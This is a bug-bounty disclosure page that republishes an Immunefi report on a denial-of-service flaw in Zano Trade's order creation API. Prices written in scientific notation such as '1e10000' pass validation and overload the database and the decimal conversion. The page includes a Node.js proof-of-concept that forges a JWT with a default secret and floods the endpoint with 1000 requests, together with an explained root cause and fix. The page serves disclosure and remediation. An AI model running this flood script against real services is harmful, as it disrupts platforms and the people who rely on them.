Skip to content
DoS Audit finding Intermediate

Dos is possible through the order creation api

The order creation API's price validation accepts scientific notation such as 1e10000, which is out of range for the database and triggers an error. Repeated requests also force an expensive decimal conversion, exhausting CPU and memory and taking the platform down.

adhd Follow

Originally disclosed on Immunefi

Critical View original
  • Disclosed after under an hour

#48436 [W&A-Critical] Dos is possible through the order creation api

Submitted on Jul 2nd 2025 at 04:45:27 UTC by @adhd for IOP | Zano Trade

Description

Brief/Intro

The order creation api takes an price by verifying it using validateTokensInput but this is bypass-able using scientific notation.

Vulnerability Details

The validateTokensInput function which validates the price if flawed it was there to prevent the big amounts but it fails to prevent the scientific notations.

So when an price of 1e10000 is passed it will be validated as an correct price but this is out of bound for the postgress so it will throw error.

Calling the api with this price multiple time will also call Decimal.toFixed() which is an cpu and ram intensive task so running with 1e100000 it will take up all the resources and result in an dos attack

Impact Details

An attacker can turn down the whole process by sending tons of request to this endpoint causing the platform to go down and stop the trading and p2p and other feature website supports

Proof of Concept

Proof of Concept

If you run this below script you will see the cpu and ram usage spiked up to 100%

const axios = require('axios');
const jwt   = require('jsonwebtoken');

const JWT_SECRET = 'ChangeMe123!';         
const TARGET     = 'http://localhost:3000';

const ADDRESS = 'ZxCkZcmXVGbEW2jTcUUE4AP65Hfni4Sc56iFDB3n7y9B4ykhVGk7Zpu7SMPTR64ezEWJvXHQui84vDWY9bn8eoof15G2NgvGR'; // <- existing address
const ALIAS   = 'demoAlias';                                                 // <- matching alias

const token = jwt.sign({ address: ADDRESS, alias: ALIAS }, JWT_SECRET, {
  expiresIn: '24h',
});

const orderData = {
  pairId: 1,            
  side:  'limit',
  type:  'buy',
  price: '1e10000',    
  amount: '1',
};

const totalRequests = 1000;
let completedRequests = 0;

for (let i = 0; i < totalRequests; i++) {
  axios
    .post(`${TARGET}/api/orders/create`, { token, orderData })
    .then((res) => {
      console.log(`Request ${i+1}/${totalRequests}:`, res.status, res.data);
      completedRequests++;
      if (completedRequests === totalRequests) {
        console.log('All requests completed');
      }
    })
    .catch((err) => {
      console.error(`Request ${i+1}/${totalRequests}:`, err.response?.status, err.response?.data);
      completedRequests++;
      if (completedRequests === totalRequests) {
        console.log('All requests completed');
      }
    });
}

The original report as published on Immunefi, by adhd. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the price validation function does not reject scientific notation or enforce numeric bounds before the value reaches the database and a costly decimal conversion.

Impact

An attacker could take down the whole process by sending many requests to this endpoint, stopping trading and other platform features.

What the attacker needed

A valid authentication token; an existing address and alias

The fix

The price validation should reject scientific notation and enforce numeric bounds before the value reaches the database or a costly conversion.

How it was found

  1. Create a valid authentication token for an existing address and alias.
  2. Send a request to the order creation endpoint with a price written in scientific notation.
  3. Repeat the request many times to exhaust CPU and memory.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A website checks the price you type when creating an order, but the check can be fooled by writing the number in scientific notation (like 1e10000, meaning 1 followed by many zeros). The database cannot store such a huge number, and converting it uses a lot of computer power, so sending many such orders can make the site slow or crash for everyone.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by adhd

View all

1 more disclosed report, best first.

More from Zano Trade

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.